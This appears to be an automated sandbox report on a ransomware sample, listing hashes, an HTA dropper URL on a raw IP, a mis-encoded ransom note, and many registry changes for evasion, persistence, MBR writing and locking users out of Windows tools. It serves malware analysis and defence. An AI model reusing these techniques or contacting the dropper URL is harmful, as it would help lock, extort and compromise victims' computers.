a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6

Analysis

max time kernel
43s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
29-09-2022 12:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe
Size

148KB
MD5

f7fad376e883d2bab82fbae91e5874f5
SHA1

76440c8a557e7c1c032f7ccb69f6f133686e8fe4
SHA256

a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6
SHA512

a0d768c2daa5fcdd0ebc2cc20f1379d9b68792dd63cd8f1d64da14df8d8db4e4429e6b14fcee338e303cf67fc0bdb2b8db8f2c6bd837763bb201eaa22dd1690e
SSDEEP

3072:YzS2qulKP62/xAZS6Rt3T4awbhdEyvM3ylfXTkpisd7LT8EB:CS2qaKP62mZS6RZ4aw1dd0ClfD+isd7c

Score

10^/10

bootkit discovery evasion persistence themida upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://78.26.187.35/soft-usage/favicon.ico?0=1200&1=GBQHURCC&2=i-s&3=61&4=9200&5=6&6=2&7=919041&8=1033

Signatures

Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	[email protected]

Disables RegEdit via registry modification 2 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	[email protected]
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	[email protected]

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

Executes dropped EXE 16 IoCs

pid	Process
1508	[email protected]
1460	[email protected]
2800	[email protected]
2916	[email protected]
3292	sc.exe
8	[email protected]
4012	[email protected]
3696	[email protected]
5020	Conhost.exe
4396	[email protected]
2084	[email protected]
2876	[email protected]
2376	[email protected]
5056	[email protected]
4688	[email protected]
2540	[email protected]

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Modify Existing Service

T1031

pid	Process
5192	netsh.exe
5264	netsh.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000022e31-158.dat	upx
behavioral2/memory/8-165-0x0000000000400000-0x0000000000438000-memory.dmp	upx
behavioral2/memory/8-201-0x0000000000400000-0x0000000000438000-memory.dmp	upx
behavioral2/memory/8-183-0x0000000000400000-0x0000000000438000-memory.dmp	upx
behavioral2/memory/2968-220-0x0000000000400000-0x00000000005DE000-memory.dmp	upx
behavioral2/memory/3448-283-0x0000000000400000-0x0000000000A35000-memory.dmp	upx
behavioral2/memory/3448-291-0x0000000000400000-0x0000000000A35000-memory.dmp	upx
behavioral2/memory/3428-335-0x0000000000400000-0x000000000044F000-memory.dmp	upx
behavioral2/memory/3448-347-0x0000000000400000-0x0000000000A35000-memory.dmp	upx
behavioral2/memory/1516-341-0x0000000000400000-0x0000000000423000-memory.dmp	upx
behavioral2/memory/8-350-0x0000000000400000-0x0000000000438000-memory.dmp	upx
behavioral2/memory/5324-352-0x0000000000400000-0x0000000000A35000-memory.dmp	upx
behavioral2/memory/1516-304-0x0000000000400000-0x0000000000423000-memory.dmp	upx
behavioral2/memory/3448-302-0x0000000000400000-0x0000000000A35000-memory.dmp	upx
behavioral2/memory/3448-293-0x0000000000400000-0x0000000000A35000-memory.dmp	upx
behavioral2/memory/2968-234-0x0000000000400000-0x00000000005DE000-memory.dmp	upx

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3880	icacls.exe

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/3212-268-0x0000000000400000-0x0000000000CFB000-memory.dmp	themida

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	[email protected]
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\WINDOWS\\Web\\rundll32.exe"	[email protected]
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\AVPCC = "C:\\WINDOWS\\Cursors\\avp.exe"	[email protected]

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	[email protected]
File opened (read-only)	\??\K:	[email protected]
File opened (read-only)	\??\L:	[email protected]
File opened (read-only)	\??\M:	[email protected]
File opened (read-only)	\??\W:	[email protected]
File opened (read-only)	\??\F:	[email protected]
File opened (read-only)	\??\J:	[email protected]
File opened (read-only)	\??\N:	[email protected]
File opened (read-only)	\??\S:	[email protected]
File opened (read-only)	\??\V:	[email protected]
File opened (read-only)	\??\Y:	[email protected]
File opened (read-only)	\??\E:	[email protected]
File opened (read-only)	\??\P:	[email protected]
File opened (read-only)	\??\R:	[email protected]
File opened (read-only)	\??\T:	[email protected]
File opened (read-only)	\??\U:	[email protected]
File opened (read-only)	\??\G:	[email protected]
File opened (read-only)	\??\I:	[email protected]
File opened (read-only)	\??\O:	[email protected]
File opened (read-only)	\??\Q:	[email protected]
File opened (read-only)	\??\X:	[email protected]
File opened (read-only)	\??\Z:	[email protected]

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "DANGER"	[email protected]
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Äëÿ òîãî ÷òîáû âîññòàíîâèòü íîðìàëüíóþ ðàáîòó ñâîåãî êîìïüþòåðà íå ïîòåðÿâ ÂÑÞ èíôîðìàöèþ! È ñ ýêîíîìèâ äåíüãè, ïðèøëè ìíå íà e-mail [email protected] êîä ïîïîëíåíèÿ ñ÷åòà êèåâñòàð íà 25 ãðèâåíü. Â îòâåò â òå÷åíèå äâåíàäöàòè ÷àñîâ íà ñâîé e-mail òû ïîëó÷èøü ôàèë äëÿ óäàëåíèÿ ýòîé ïðîãðàììû."	[email protected]

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	[email protected]
File opened for modification	\??\PhysicalDrive0	[email protected]

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\AnVi\splash.mp3	[email protected]
File created	C:\Program Files (x86)\AnVi\virus.mp3	[email protected]

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\WINDOWS\Web	[email protected]

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5136	sc.exe
3292	sc.exe
6132	sc.exe
6124	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 9 IoCs

pid	pid_target	Process	procid_target
624	4688	WerFault.exe	94
4124	4168	WerFault.exe	118
4540	3428	WerFault.exe
4168	5464	WerFault.exe	170
6624	6408	WerFault.exe	255
4980	2440	WerFault.exe	107
5956	3476	WerFault.exe	196
5128	6780	WerFault.exe	268
6628	6592	WerFault.exe	262

NSIS installer 4 IoCs

installer

resource	yara_rule
behavioral2/files/0x0006000000022e44-164.dat	nsis_installer_1
behavioral2/files/0x0006000000022e44-164.dat	nsis_installer_2
behavioral2/files/0x0006000000022e44-167.dat	nsis_installer_1
behavioral2/files/0x0006000000022e44-167.dat	nsis_installer_2

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4604	schtasks.exe
5472	schtasks.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
5048	taskkill.exe
456	taskkill.exe
6920	taskkill.exe
3880	taskkill.exe
5644	taskkill.exe
5944	taskkill.exe

Modifies Control Panel 6 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\Desktop\WallpaperOriginX = "210"	[email protected]
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\Desktop\WallpaperOriginY = "187"	[email protected]
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\Desktop\MenuShowDelay = "9999"	[email protected]
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International	[email protected]
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\sTimeFormat = "ÕÓÉ"	[email protected]
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\Desktop	[email protected]

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window title = ":::::::::::::::::: ÌÎÉ ÕÓÉ ÏÐÎÒÓÕ À ÏÈÇÄÀ ÃÍÈÅÒ ::::::::::::::::::"	[email protected]
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main	[email protected]
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Use FormSuggest = "Yes"	[email protected]
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	[email protected]
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Window title = ":::::::::::::::::: ÌÎÉ ÕÓÉ ÏÐÎÒÓÕ À ÏÈÇÄÀ ÃÍÈÅÒ ::::::::::::::::::"	[email protected]
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main	[email protected]

Modifies Internet Explorer start page 1 TTPs 2 IoCs

stealer

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Start Page = "http://poetry.rotten.com/lightning/"	[email protected]
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://poetry.rotten.com/lightning/"	[email protected]

Modifies registry class 1 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\REGFILE\SHELL\OPEN\COMMAND	[email protected]

Modifies registry key 1 TTPs 24 IoCs

Modify Registry

T1112

pid	Process
5968	reg.exe
3672	reg.exe
4156	reg.exe
5504	reg.exe
2232	reg.exe
2228	reg.exe
3660	reg.exe
4704	reg.exe
5496	reg.exe
4880	reg.exe
6904	reg.exe
1856	reg.exe
6896	reg.exe
6888	reg.exe
6736	reg.exe
5488	reg.exe
2660	reg.exe
3516	reg.exe
3848	reg.exe
4236	reg.exe
6968	reg.exe
4980	reg.exe
1456	reg.exe
6312	reg.exe

Runs net.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	76	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	77	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2876	[email protected]
2876	[email protected]

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3388	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe
Token: SeDebugPrivilege	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe
Token: SeSystemtimePrivilege	2376	[email protected]

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1508	[email protected]
1508	[email protected]
1508	[email protected]

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1508	[email protected]
1508	[email protected]
1508	[email protected]

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1508	[email protected]
1508	[email protected]
1508	[email protected]

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 3388 wrote to memory of 4788	3388	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	80
PID 3388 wrote to memory of 4788	3388	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	80
PID 4788 wrote to memory of 1508	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	83
PID 4788 wrote to memory of 1508	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	83
PID 4788 wrote to memory of 1508	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	83
PID 4788 wrote to memory of 1460	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	86
PID 4788 wrote to memory of 1460	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	86
PID 4788 wrote to memory of 1460	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	86
PID 4788 wrote to memory of 2800	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	84
PID 4788 wrote to memory of 2800	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	84
PID 4788 wrote to memory of 2800	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	84
PID 4788 wrote to memory of 2916	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	85
PID 4788 wrote to memory of 2916	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	85
PID 4788 wrote to memory of 2916	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	85
PID 4788 wrote to memory of 3292	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	151
PID 4788 wrote to memory of 3292	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	151
PID 4788 wrote to memory of 3292	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	151
PID 4788 wrote to memory of 8	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	91
PID 4788 wrote to memory of 8	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	91
PID 4788 wrote to memory of 8	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	91
PID 4788 wrote to memory of 4012	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	88
PID 4788 wrote to memory of 4012	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	88
PID 4788 wrote to memory of 4012	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	88
PID 4788 wrote to memory of 3696	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	89
PID 4788 wrote to memory of 3696	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	89
PID 4788 wrote to memory of 3696	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	89
PID 4788 wrote to memory of 5020	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	152
PID 4788 wrote to memory of 5020	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	152
PID 4788 wrote to memory of 5020	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	152
PID 4788 wrote to memory of 4396	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	92
PID 4788 wrote to memory of 4396	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	92
PID 4788 wrote to memory of 4396	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	92
PID 4788 wrote to memory of 2084	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	93
PID 4788 wrote to memory of 2084	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	93
PID 4788 wrote to memory of 2084	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	93
PID 4788 wrote to memory of 2876	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	109
PID 4788 wrote to memory of 2876	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	109
PID 4788 wrote to memory of 2876	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	109
PID 4788 wrote to memory of 2376	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	108
PID 4788 wrote to memory of 2376	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	108
PID 4788 wrote to memory of 2376	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	108
PID 4788 wrote to memory of 5056	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	101
PID 4788 wrote to memory of 5056	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	101
PID 4788 wrote to memory of 5056	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	101
PID 4788 wrote to memory of 4688	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	153
PID 4788 wrote to memory of 4688	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	153
PID 4788 wrote to memory of 4688	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	153
PID 4788 wrote to memory of 2540	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	95
PID 4788 wrote to memory of 2540	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	95
PID 4788 wrote to memory of 2540	4788	Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe	95

System policy modification 1 TTPs 37 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Uninstall	[email protected]
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	[email protected]
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "1044"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoToolbarCustomize = "1"	[email protected]
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuMFUprogramsList = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommonGroups = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSMMyDocs = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSaveSettings = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Uninstall\NoAddRemovePrograms = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoUserNameInStartMenu = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum\{20D04FE0-3AEA-1069-A2D8-08002B30309D} = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoDispCPL = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSMMyPictures = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum\{450D8FBA-AD25-11D0-98A8-0800361B1103} = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuPinnedList = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuSubFolders = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuMyMusic = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoManageMyComputerVerb = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPrinterTabs = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPrinters = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoThemesTab = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSMHelp = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoActiveDesktop = "1"	[email protected]
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind = "1"	[email protected]

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
4656	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe
